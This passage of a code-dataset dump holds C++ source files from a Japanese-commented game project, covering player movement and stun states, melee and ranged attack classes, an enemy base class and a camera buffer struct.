name=\"e\">IEnemyを継承した敵の情報。</param>\n\t/// <returns>ビームに当たっているかどうか。</returns>\n\tbool BeamJudge(IEnemy* e);\nprivate:\n\tIK* m_ik = nullptr;\n\tfloat m_timer = 0.f;\n\tconst float m_timeSpan = 0.1f;\n\tint m_shotCount = 0;\n\tconst int m_maxShot = 3;\n\t\n\t\tVector3\t\t\tm_position = Vector3::Zero;\n\t\tfloat\t\t\tm_damage = 0.f;\n\t\tfloat\t\t\tm_chargeTimer = 0.f;\n\t\tfloat\t\t\tm_endBeamTimer = 0.f;\n\t\tBeam* m_beam;\n\n\t\tconst float\t\tm_chargeTime = 0.f;\n\n\t\tbool\t\t\tm_isSetPos = false;\t\t\t//ビームを撃つ方向を設定。固定だから一度だけ設定する。\n\n\tVector3 m_target = Vector3::Zero;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tfloat m_speed = 2000.f;\n\n\tEnemyLongBigTargetingState* m_lbt;\n\n\tMuzzleFlash* m_muzzleFlash;\n};\n"
},
{
"alpha_fraction": 0.6266924738883972,
"alphanum_fraction": 0.6363636255264282,
"avg_line_length": 15.709677696228027,
"blob_id": "415ca80aa4ba512176a885e49db6dd934a6b8fbb",
"content_id": "d67d1b7ff93ad000da6d306f1876e06854acc5ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 517,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 31,
"path": "/Game/Player/State/IPlayerSstate.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass Player;\n\n/// <summary>\n/// \n/// </summary>\nclass IPlayerState\n{\npublic:\n\tIPlayerState() {};\n\tvirtual ~IPlayerState() {};\n\tvirtual void Enter(Player*) = 0;\n\tvirtual IPlayerState* Update(Player*) = 0;\n\tvirtual void Exit(Player*) = 0;\n\nprotected:\n\n\t//animation\n\tconst float m_AnimInterpolate = 0.2f;\n\n\tfloat Approach(float goal, float current, float dt) {\n\t\tauto diff = goal - current;\n\t\tif (diff > dt) {\n\t\t\treturn current + dt;\n\t\t}\n\t\tif (diff < -dt) {\n\t\t\treturn current - dt;\n\t\t}\n\t\treturn goal;\n\t}\n};"
},
{
"alpha_fraction": 0.6865671873092651,
"alphanum_fraction": 0.6886993646621704,
"avg_line_length": 23.657894134521484,
"blob_id": "a5fd120d466de572192b31e978ad53e3c67cfa6f",
"content_id": "2d6517e3288027470eb033395290ef7f03e40448",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 938,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 38,
"path": "/Game/Player/Attack/PlayerAttackA.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackA.h\"\n#include \"../Player.h\"\n#include \"../../Enemy/EnemyManager.h\"\n\nPlayerAttackA::PlayerAttackA() {\n\n}\n\nPlayerAttackA::~PlayerAttackA() {\n\n}\n\nvoid PlayerAttackA::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack A combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif //_PRINT_PLAYER_ATTACK\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enAttack);\n\n\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\tenemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n}\n\nvoid PlayerAttackA::Execute(Player* player) {\n\t//TODO : if(!animation.isPlay()) m_timer += deltaTime(); \n\tm_timer += gameTime()->GetDeltaTime();\n\n\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\tm_isContinuAttack = true;\n\t}\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.7027363181114197,
"alphanum_fraction": 0.7189054489135742,
"avg_line_length": 19.075000762939453,
"blob_id": "02793e25827454ccaa0e26429c57b44ac6b7c4b1",
"content_id": "f35cea9fe88817b9895e31f8d48a742d1c0e7391",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 804,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 40,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackThrowPod.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackThrowPod : public IPlayerAttack\n{\npublic:\n\tPlayerAttackThrowPod();\n\tvirtual ~PlayerAttackThrowPod() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn false;\n\t}\n\nprivate:\n\tbool m_isDone = false;\n\tconst float m_interval = 0.1f;\n\tfloat m_timer = 0.f;\n\n\tconst float m_throwPower = 200.f;\n\tconst float m_StaminaCost = 30.f;\n\tconst float m_BoostCost = 30.f;\n\n\tbool m_canDoAttack = true;\n\n\tfloat m_range = 15.f;\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE * 8.f;\n\n\tbool threwFlag = false;\n};\n\n"
},
{
"alpha_fraction": 0.6769841313362122,
"alphanum_fraction": 0.6809523701667786,
"avg_line_length": 17.544116973876953,
"blob_id": "9677f0b5a46e79f2ac374b7e8205bedf3aabf7bb",
"content_id": "1dcf8f4168ab76081164eb8ec17522b2bd877dcf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1260,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 68,
"path": "/Game/Player/State/PlayerStunState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerStunState.h\"\n#include \"../Player.h\"\n#include \"../../GameManager.h\"\n\nPlayerStunState::PlayerStunState()\n{\n\n}\n\nPlayerStunState::~PlayerStunState()\n{\n\n}\n\nvoid PlayerStunState::Enter(Player* p) {\n\n\tm_timer = 0.f;\n\n\tm_velocity = p->m_knockBackImpulse;\n\n\tm_velFriction = m_velocity;\n\tm_velFriction.y = 0;\n\tm_velFriction.Normalize();\n\tm_velFriction *= -m_friction;\n\n\t//m_velocity.Normalize();\n\t//m_velocity *= m_FIRST_VEL_PARAM;\n\n\tp->PlayAnimation(Player::EnAnimation::enKnockBack);\n\n\t//m_velocityGoal.x = m_VELOCITY_MAX;\n\t//m_velocityGoal.z = m_VELOCITY_MAX;\n\n\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Enter Stun\\n\");\n#endif\n}\n\nIPlayerState* PlayerStunState::Update(Player* p) {\n\n\tfloat dtime = gameTime()->GetDeltaTime();\n\n\tm_velocity.y -= m_GRAVITY * dtime;\n\tif (p->IsOnGround())\n\t{\n\t\tfloat velXZLen = sqrtf(powf(m_velocity.x, 2) + powf(m_velocity.z, 2));\n\n\t\tif (velXZLen > m_friction)\n\t\t{\n\t\t\tm_velocity += m_velFriction * dtime;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn p->GetState(Player::EnState::enGround);\n\t\t}\n\t}\n\tp->SetExternalVelocity(m_velocity);\n\treturn this;\n}\n\nvoid PlayerStunState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Player : Exit Stun\\n\");\n#endif\n\tp->SetExternalVelocity(Vector3::Zero);\n}"
},
{
"alpha_fraction": 0.678786039352417,
"alphanum_fraction": 0.6862980723381042,
"avg_line_length": 18.178674697875977,
"blob_id": "32e6d0bcbc8498929335e1a70eede09641171f17",
"content_id": "74818c0efbfa38d58c79f081148b54a39c9e50a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6808,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 347,
"path": "/Game/Enemy/IEnemy.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\nclass IEnemyState;\nclass HealthBar;\nclass ExplosionEffect;\nclass SmokeEffect;\n\n#include \"../../UsualEngineR/Character/CharacterController.h\"\n#include \"../Player/Player.h\"\n#include \"Effect/SmokeEffect.h\"\n\nclass IEnemy : public GameObject\n{\npublic:\n\n\tenum class EnState {\n\t\tenIdleState,\n\t\tenBattleState,\n\t\tenAttackA,\n\t\tenAttackB,\n\t\tenDeadState,\n\t\tenStunState,\n\t\tenNumState\n\t};\n\n\tenum class EnBossType {\n\t\tMelee,\n\t\tFat,\n\t\tBomb\n\t};\n\n\tenum class EnAnimation {\n\t\tenIdle,\n\t\tenWalk,\n\t\tenRun,\n\t\tenAttackA,\n\t\tenAttackB,\n\t\tenNumAnim\n\t};\n\n\tenum class EnIK\n\t{\n\t\tenHead,\n\t\tenChest,\n\t\tenArm_L,\n\t\tenArm_R,\n\t\tenFoot_L,\n\t\tenFoot_R,\n\t\tenNumIK\n\t};\n\n\tvirtual~IEnemy() {};\n\n\tvirtual void Init() {};\n\tvirtual void InitState();\n\tvirtual void InitIK() {};\n\tvirtual void Execute() {}; //in game\n\tvirtual void ExecuteCommon() {}; //common\n\tvirtual void Terminate() {};\n\tvirtual Player::EnAttackType GetDropID() { return Player::EnAttackType::enNone; }\n\tvirtual void PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f) {}\n\tvirtual void PlayAnimation(const int animNo, const float interpolate = 0.2f) {}\n\tvirtual void SpawnDropItem() {};\n\n\tvirtual void Awake() override final;\n\tvirtual bool Start() override final;\n\tvirtual void Update() override final;\n\tvirtual void Release() override final;\n\tvirtual void OnDestroy() override final;\n\n\tvoid RemoveRigidBody()\n\t{\n\t\tm_charaCon.RemoveRigidBoby();\n\t}\n\n\t//パス検索とか重めの共通処理\n\tvoid PathFind(Vector3 start, Vector3 end) { Sleep(1000); };\n\n\t//TODO : データを構造体にまとめる\n\t/*\n\tstruct EnemyData {\n\t\tfloat hp;\n\t\tfloat currentHp;\n\t\tbool isBoss;\n\t\tVector3 pos;\n\t};\n\t*/\n\n\tstruct StAbility {\n\t\tfloat hp;\n\t\tfloat max_hp;\n\t\tfloat stamina;\n\t\tfloat max_stamina;\n\n\t\tvoid InitHP(const float init_hp) {\n\t\t\thp = max_hp = init_hp;\n\t\t}\n\n\t\tvoid InitStamina(const float init_stamina) {\n\t\t\tstamina = max_stamina = init_stamina;\n\t\t}\n\t};\n\n\tIEnemyState* GetState(const int stateNo) const {\n\t\tif (m_stateMap.size() == 0) return nullptr;\n\n\t\tauto it = m_stateMap.find(stateNo);\n#ifdef DEBUG\n\t\tif (it == m_stateMap.end()) {\n\t\t\tassert(false, \"取得しようとしたステートが無いんですけどっ!!\");\n\t\t}\n#endif // DEBUG\n\n#ifndef DEBUG\n\t\tif (it == m_stateMap.end()) {\n\t\t\treturn m_stateMap.at(TO_INT(IEnemy::EnState::enIdleState));\n\t\t}\n#endif // !DEBUG\n\n\t\treturn it->second;\n\t}\n\n\t/// <summary>\n\t/// IKをゲット\n\t/// ない場合はnullptrを返す\n\t/// </summary>\n\t/// <param name=\"ikKind\">EnIKとか</param>\n\t/// <returns></returns>\n\tIK* GetIK(const int ikKind) const\n\t{\n\t\tif (m_ikMap.size() == 0) return nullptr;\n\n\t\tauto it = m_ikMap.find(ikKind);\n\n\t\tif (it == m_ikMap.end()) {\n\t\t\treturn nullptr;\n\t\t}\n\n\t\treturn it->second;\n\t}\n\n\tconst IEnemyState* GetCurrentState() const{\n\t\treturn m_currentState;\n\t}\n\n\tIEnemyState* GetPreviousState() const {\n\t\treturn m_previousState;\n\t}\n\n\tvoid SetPosition(const Vector3& pos) \n\t{\n\t\tm_position = pos;\n\t\tm_charaCon.SetPosition(pos);\n\t}\n\n\tconst Vector3& GetPosition() const {\n\t\treturn m_position;\n\t}\n\n\tconst float GetCurrentHP() {\n\t\treturn m_ability.hp;\n\t}\n\t\n\tconst float GetMaxHP() {\n\t\treturn m_ability.max_hp;\n\t}\n\n\tvoid ApplyDamage(const float damage, const bool stunFlag = false, const Vector3& impulse = Vector3::Zero);\n\n\tvoid UseStamina(const float amount);\n\n\tvoid RecoverStamina(const float amount);\n\n\tvoid SetAbility(const StAbility& ability) {\n\t\tm_ability = ability;\n\t}\n\n\tconst StAbility& GetAbility() const {\n\t\treturn m_ability;\n\t}\n\n\tconst bool IsBoss() {\n\t\treturn !m_isNormalEnemy;\n\t}\n\n\tvoid SetVelocity(const Vector3& velocity) {\n\t\tm_velocity = velocity;\n\t}\n\n\tVector3& GetVelocity() {\n\t\treturn m_velocity;\n\t}\n\n\tconst Vector3& GetKnockBackImpulse() {\n\t\treturn m_impulse;\n\t}\n\n\tvoid SetKnockBackImpulse(const Vector3& imp) {\n\t\tm_impulse = imp;\n\t}\n\n\tconst std::map<int, IEnemyState*>& GetStateMap() const{\n\t\treturn m_stateMap;\n\t}\n\n\tconst bool IsOnGround() {\n\t\treturn m_charaCon.IsOnGround();\n\t}\n\n\tModelRender* GetModel() const{\n\t\treturn m_model;\n\t}\n\n\tstd::vector<JetEffect*>& GetJetEffects() {\n\t\treturn m_jetEffects;\n\t}\n\n\tvoid PlayJetSE() {\n\t\tif (m_jetSE != nullptr) {\n\t\t\tm_jetSE->Play(true);\n\t\t}\n\t}\n\n\tvoid StopJetSE() {\n\t\tif (m_jetSE != nullptr)\n\t\t\tm_jetSE->Stop();\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rotation = rot;\n\t}\n\n\tconst Quaternion& GetRotation() {\n\t\treturn m_rotation;\n\t}\n\n\tVector3 GetForward() {\n\t\tauto& world = m_model->GetModel().GetWorldMatrix();\n\t\tVector3 forward;\n\t\tforward.x = world.mat._31;\n\t\tforward.y = world.mat._32;\n\t\tforward.z = world.mat._33;\n\t\tforward.Normalize();\n\t\treturn forward;\n\t}\n\n\tconst float GetCharaRadius() {\n\t\treturn m_radius;\n\t}\n\n\tvirtual void Performance() {}\n\n\tvoid SetAutoRotateFlag(const bool flag) {\n\t\tm_isUseAutoRotateSystem = flag;\n\t}\n\n\tvirtual void Explode() {};\n\n\tvirtual void SetSmokeFlag(const bool flag) {\n\n\t\tif (flag) {\n\t\t\tm_smokeEffect->SetPos(m_position);\n\t\t\tm_smokeEffect->SetSca(Vector3::One * 0.5f);\n\t\t\tm_smokeEffect->Play();\n\t\t}\n\t\telse {\n\t\t\tm_smokeEffect->Stop();\n\t\t}\n\n\t}\n\n\tvoid SetExternalVelocity(const Vector3& velocity) {\n\t\tm_externalVelocity = velocity;\n\t}\n\n\tfloat GetCharaconHeghit() const\n\t{\n\t\treturn m_charaCon.GetHeight();\n\t}\n\n\tfloat GetCharaconRadius() const\n\t{\n\t\treturn m_charaCon.GetRadius();\n\t}\n\n\tvoid SetState(IEnemyState* s);\n\nprotected:\n\t//キャラコン作成\n\tvoid InitCharacon(const float radius, const float height, const Vector3& pos, const bool isUseRigidBody);\n\tbool m_isNormalEnemy = true;\n\n\tstd::map<int, IEnemyState*> m_stateMap;\n\tstd::map<int, std::unique_ptr<CAnimationClip>> m_animationMap;\n\tstd::map<int, IK*> m_ikMap;\n\n\tvoid SetAnimation(const int no, const char* path, const bool loopFlag) {\n\t\tm_animationMap.insert(std::make_pair(no, std::make_unique<CAnimationClip>()));\n\t\tm_animationMap.at(no)->Load(path);\n\t\tm_animationMap.at(no)->BuildKeyFramesAndAnimationEvents();\n\t\tm_animationMap.at(no)->SetLoopFlag(loopFlag);\n\t}\n\n\tvoid SetIK(const int no, IK* ik)\n\t{\n\t\tm_ikMap.insert(std::make_pair(no, ik));\n\t}\n\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = Vector3::Zero;\n\tQuaternion m_rotation = Quaternion::Identity;\n\tStAbility m_ability;\n\n\t//Effects\n\tstd::vector<Bone*> m_bones;\n\tstd::vector<JetEffect*> m_jetEffects;\n\tExplosionEffect* m_explodeEffect = nullptr;\n\tSmokeEffect* m_smokeEffect = nullptr;\n\tVector4 m_smokeColor = { 1.f,1.f,1.f,0.1f };\n\n\t//SE\n\tCSoundSource* m_jetSE = nullptr;\n\n\t//Physics\n\tCharacterController m_charaCon;\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_externalVelocity = Vector3::Zero; //外部からの影響\n\tVector3 m_impulse = Vector3::Zero;\n\tfloat m_radius = 1.f;\n\n\n\nprivate:\n\n\tHealthBar* m_healthBar = nullptr;\n\n\t//State\n\tIEnemyState* m_currentState = nullptr;\n\tIEnemyState* m_previousState = nullptr;\n\tIEnemyState* m_nextState = nullptr;\n\n\n\tbool m_isUseAutoRotateSystem = true;\n\n\tbool m_addedAsDeadBody = false;\n\n\tconst int m_ResetPos = 7.f;\n};\n\n"
},
{
"alpha_fraction": 0.692307710647583,
"alphanum_fraction": 0.7236467003822327,
"avg_line_length": 17.421052932739258,
"blob_id": "18e6ef4501dcdc3e7808bd861054b9a005cccdd3",
"content_id": "5aa24985ce421ec12b56c9b4c603571bd642485b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 351,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 19,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackHipShot2.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackHipShot2\n{\npublic:\n\tPlayerAttackHipShot2();\n\t~PlayerAttackHipShot2();\n\n\tvoid GenerateProjectiles(Player* player);\n\nprivate:\n\t//shot\n\tconst float m_shotInterval = 0.2f;\n\tfloat m_shotIntervalTimer = m_shotInterval;\n\n\tfloat m_range = 50.f;\n\tconst float m_damageAmount = 10.f * 1.f / 2.f;\n};\n\n"
},
{
"alpha_fraction": 0.6019900441169739,
"alphanum_fraction": 0.611940324306488,
"avg_line_length": 10.222222328186035,
"blob_id": "150a92f659fb85814017911c170e6a1437426e0f",
"content_id": "fdac2670aaf78498050445bc6e2bc741a7498e86",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 267,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 18,
"path": "/UsualEngineR/Graphics/CommonConstantBufferStruct.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\t/// <summary>\n\t/// カメラ用の定数バッファの構造体。\n\t/// </summary>\n\tstruct SCameraCB\n\t{\n\t\tVector4 pos;\n\t\tVector4 dir;\n\t\tMatrix mView;\t\t//ビュー行列。\n\t\tMatrix mProj;\t\t//プロジェクション行列。\n\t};\n\t\n}"
},
{
"alpha_fraction": 0.6541207432746887,
"alphanum_fraction": 0.6702366471290588,
"avg_line_length": 23.885786056518555,
"blob_id": "d2d82a45d4e5c4dbd0d4c85f85c86b070a739816",
"content_id": "cc02fd975da3de109842dade3c2f82dd832584d2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 10040,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 394,
"path": "/Game/Player/State/PlayerGroundState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"PlayerGroundState.h\"\n#include \"../../Camera/GameCamera.h\"\n#include \"../../GameManager.h\"\n#include \"HUD/KeyHelp.h\"\n#include <cmath>\n\n#include \"Enemy/EnemyManager.h\"\n\nPlayerGroundState::PlayerGroundState()\n{\n}\n\nPlayerGroundState::~PlayerGroundState()\n{\n\tif (m_keyHelp_Run != nullptr) {\n\t\tDeleteGO(m_keyHelp_Run);\n\t\tDeleteGO(m_keyHelp_Guard);\n\t\tDeleteGO(m_keyHelp_Dive);\n\t}\n}\n\nvoid PlayerGroundState::Enter(Player* p){\n\tconst float space = 25.f;\n\tif (m_keyHelp_Run == nullptr) {\n\t\t\n\t\t//\n\t\tm_keyHelp_Run = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_Run->Init(keyHelpPos, L\"X:ダッシュ\");\n\t\t//guard\n\t\tm_keyHelp_Guard = NewGO<KeyHelp>(0);\n\t\t//Vector3 keyHelpPos2 = { 200.f,-100.f - space,0.f };\n\t\tVector3 keyHelpPos2 = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_Guard->Init(keyHelpPos2, L\"L2:防御\");\n\n\t\t//dive\n\t\tm_keyHelp_Dive = NewGO<KeyHelp>(0);\n\t\t//Vector3 keyHelpPos3 = { 200.f,-100.f - space * 2,0.f };\n\t\tVector3 keyHelpPos3 = { 200.f,-100.f - space,0.f };\n\t\tm_keyHelp_Dive->Init(keyHelpPos3, L\"L1:回避\");\n\n\t\t// target\n\t\tm_keyHelp_Target = NewGO<KeyHelp>(0);\n\t\tVector3 keyHelpPos4 = { 200.f,-100.f,0.f };\n\t\tm_keyHelp_Target->Init(keyHelpPos4, L\"R3:照準\");\n\n\t\tm_keyHelp_Guard->SetActive(false);\n\t\tm_keyHelp_Dive->SetActive(false);\n\n\t\tm_keyHelp_Target->SetActive(false);\n\n\t\tm_keyHelp_Run->Undisplay();\n\t\tm_keyHelp_Guard->Undisplay();\n\t\tm_keyHelp_Dive->Undisplay();\n\t\tm_keyHelp_Target->Undisplay();\n\t}\n\telse {\n\t\tm_keyHelp_Run->SetActive(false);\n\t\t\n\t\tm_keyHelp_Guard->SetActive(false);\n\t\tm_keyHelp_Dive->SetActive(false);\n\n\t\tm_keyHelp_Target->SetActive(false);\n\n\t\tm_keyHelp_Run->Undisplay();\n\t\tm_keyHelp_Guard->Undisplay();\n\t\tm_keyHelp_Dive->Undisplay();\n\t\tm_keyHelp_Target->Undisplay();\n\t}\n\t//ターゲッティングしている\n\tif (GameManager::GetInstance().m_camera->IsTargettingEnemy())\n\t{\n\t\t//m_keyHelp_Guard->SetActive(true);\n\t\t//m_keyHelp_Dive->SetActive(true);\n\n\t\tm_keyHelp_Guard->Display();\n\t\tm_keyHelp_Dive->Display();\n\t\tm_keyHelp_Run->SetPos({ 200.f,-100.f - space,0.f });\n\t}\n\t//近くに敵がいる\n\telse if(EnemyManager::GetEnemyManager().GetTargettingEnemy() == nullptr)\n\t{\n\t\t//m_keyHelp_Target->SetActive(true);\n\t\tm_keyHelp_Target->Display();\n\t\tm_keyHelp_Run->SetPos({ 200.f,-100.f - space*2.f,0.f });\n\t}\n\n\n\tp->StopThrusters();\n\n\tm_velocity = p->GetLocalVelocity();\n\tp->PlayAnimation(Player::EnAnimation::enWalk, m_AnimInterpolate);\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Enter Ground\\n\");\n#endif\n}\n\nIPlayerState* PlayerGroundState::Update(Player* p) {\n\n\t//Move\n\tconst bool isEnemyCamera = GameManager::GetInstance().m_camera->IsTargettingEnemy();\n\tif(isEnemyCamera){\n\t\tTargettingEnemyMove(p);\n\t}\n\telse {\n\t\tCameraWorldMove(p);\n\t}\n\t\n\t//State\n\tauto& preset = p->GetCurrentAttackPreset();\n\tif (preset == Player::EnAttackPreset::enRemoteAttackPreset and g_pad[0]->IsPress(EnButton::enButtonB)) {\n\t\tm_hipShot.GenerateProjectiles(p);\n\t}\n\telse {\n\t\tif (g_pad[0]->IsTrigger(EnButton::enButtonB) or g_pad[0]->IsTrigger(EnButton::enButtonY)) {\n\t\t\tauto nextState = p->GetState(Player::EnState::enAttack);\n\t\t\treturn nextState;\n\t\t}\n\t}\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonA)) {\n\t\t auto nextState = p->GetState(Player::EnState::enFlying);\n\t\treturn nextState;\n\t}\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonLB1)){\n\t\tauto nextState = p->GetState(Player::EnState::enDiving);\n\t\treturn nextState;\n\t}\n\n\tif (g_pad[0]->IsTrigger(EnButton::enButtonLB2)) {\n\t\tauto nextState = p->GetState(Player::EnState::enGuard);\n\t\treturn nextState;\n\t}\n\n\t//boost recharge\n\tp->ChargeBoost(m_BOOST_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\n\t//stop?\n\tif (p->GetVelocity().Length() < 0.1) {\n\t\t//m_keyHelp_Run->SetActive(false);\n\t\tm_keyHelp_Run->Undisplay();\n\t}\n\telse {\n\t\tif (!m_keyHelp_Run->IsActive())\n\t\t\tm_keyHelp_Run->Display();\n\t\t//m_keyHelp_Run->SetActive(true);\n\t\tconst float space = 25.f;\n\t\tif (isEnemyCamera)\n\t\t{\n\t\t\tm_keyHelp_Run->SetPos({ 200.f,-100.f - space * 2.f ,0 });\n\t\t}\n\t\telse if (EnemyManager::GetEnemyManager().GetTargettingEnemy() != nullptr)\n\t\t{\n\t\t\tm_keyHelp_Run->SetPos({ 200.f,-100.f - space ,0 });\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_keyHelp_Run->SetPos({ 200.f,-100.f,0 });\n\t\t}\n\t}\n\n\t//近くに敵がいる\n\tif (EnemyManager::GetEnemyManager().GetTargettingEnemy() == nullptr)\n\t{\n\t\t//m_keyHelp_Target->SetActive(false);\n\t\tif (m_keyHelp_Target->IsActive())\n\t\t{\n\t\t\tm_keyHelp_Target->Undisplay();\n\t\t}\n\t}\n\telse\n\t{\n\t\t\n\t\t//m_keyHelp_Target->SetActive(true);\n\t\tif (!isEnemyCamera &&!m_keyHelp_Target->IsActive())\n\t\t{\n\t\t\tm_keyHelp_Target->Display();\n\t\t}\n\t\t\n\t}\n\t//ターゲッティングしている\n\tif (isEnemyCamera)\n\t{\n\t\t//m_keyHelp_Guard->SetActive(true);\n\t\t//m_keyHelp_Dive->SetActive(true);\n\t\t//m_keyHelp_Target->SetActive(false);\n\t\tif (!m_keyHelp_Guard->IsActive())\n\t\t{\n\t\t\tm_keyHelp_Guard->Display();\n\t\t\tm_keyHelp_Dive->Display();\n\t\t\tm_keyHelp_Target->Undisplay();\n\t\t}\n\t}\n\telse\n\t{\n\t\t//m_keyHelp_Guard->SetActive(false);\n\t\t//m_keyHelp_Dive->SetActive(false);\n\t\tif (m_keyHelp_Guard->IsActive())\n\t\t{\n\t\t\tm_keyHelp_Guard->Undisplay();\n\t\t\tm_keyHelp_Dive->Undisplay();\n\t\t}\n\t}\n\n\treturn this;\n}\n\nvoid PlayerGroundState::Exit(Player* p) {\n#ifdef _PRINT_PLAYER_STATE\n\tDebugPrint_WATA(\"Exit Ground\\n\");\n#endif\n\n\tp->GetModelRender().SetAnimPlaySpeed(m_DefaultAnimSpeed);\n\t//m_keyHelp_Run->SetActive(false);\n\t//m_keyHelp_Guard->SetActive(false);\n\t//m_keyHelp_Dive->SetActive(false);\n\n\tm_keyHelp_Run->Undisplay();\n\tm_keyHelp_Target->Undisplay();\n\tm_keyHelp_Guard->Undisplay();\n\tm_keyHelp_Dive->Undisplay();\n}\n\n\nvoid PlayerGroundState::TargettingEnemyMove(Player* p) {\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\n\tbool isRunning = false;\n\n\t//m_vecVelocityGoal.x = lxf * m_VELOCITY_MAX;\n\t//m_vecVelocityGoal.z = lyf * m_VELOCITY_MAX;\n\tm_vecVelocityGoal.x = lxf;\n\tm_vecVelocityGoal.z = lyf;\n\n\n\n\tif (g_pad[0]->IsTrigger(enButtonX)) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tm_hasEnoughStaminaToRun = true;\n\t\t}\n\t}\n\n\t//押しっぱなしでスタミナが切れた場合は再度ボタンを押しなおすまで走らない.\n\tif (g_pad[0]->IsPress(enButtonX) and m_hasEnoughStaminaToRun) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tm_vecVelocityGoal *= m_RUN_SPEED_PARAM * m_VELOCITY_MAX;\n\t\t\tisRunning = true;\n\t\t\tp->PlayAnimation(Player::EnAnimation::enRun, m_AnimInterpolate);\n\t\t\tp->GetModelRender().SetAnimPlaySpeed(m_DefaultAnimSpeed);\n\t\t}\n\t\telse {\n\t\t\tm_hasEnoughStaminaToRun = false;\n\t\t}\n\t}\n\telse {\n\t\tm_vecVelocityGoal *= m_SIDE_MOVE_VELOCITY_MAX;\n\t\tp->PlayAnimation(Player::EnAnimation::enIdle, m_AnimInterpolate);\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_velocity.x = Approach(m_vecVelocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_vecVelocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\tauto cam = g_lockCamera3D.Get();\n\n\tauto forward = cam->GetForward();\n\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x;\n\n\tif (!p->IsOnGround()) {\n\t\tvel.y += m_GRAVITY;\n\t}\n\n\tvel *= p->GetSpeed();// *gameTime()->GetDeltaTime();\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\t//Rotation\n\tif (isRunning and (vel.x != 0.f or vel.z != 0.f)) {\n\t\tp->UseStamina(m_RUN_COST * 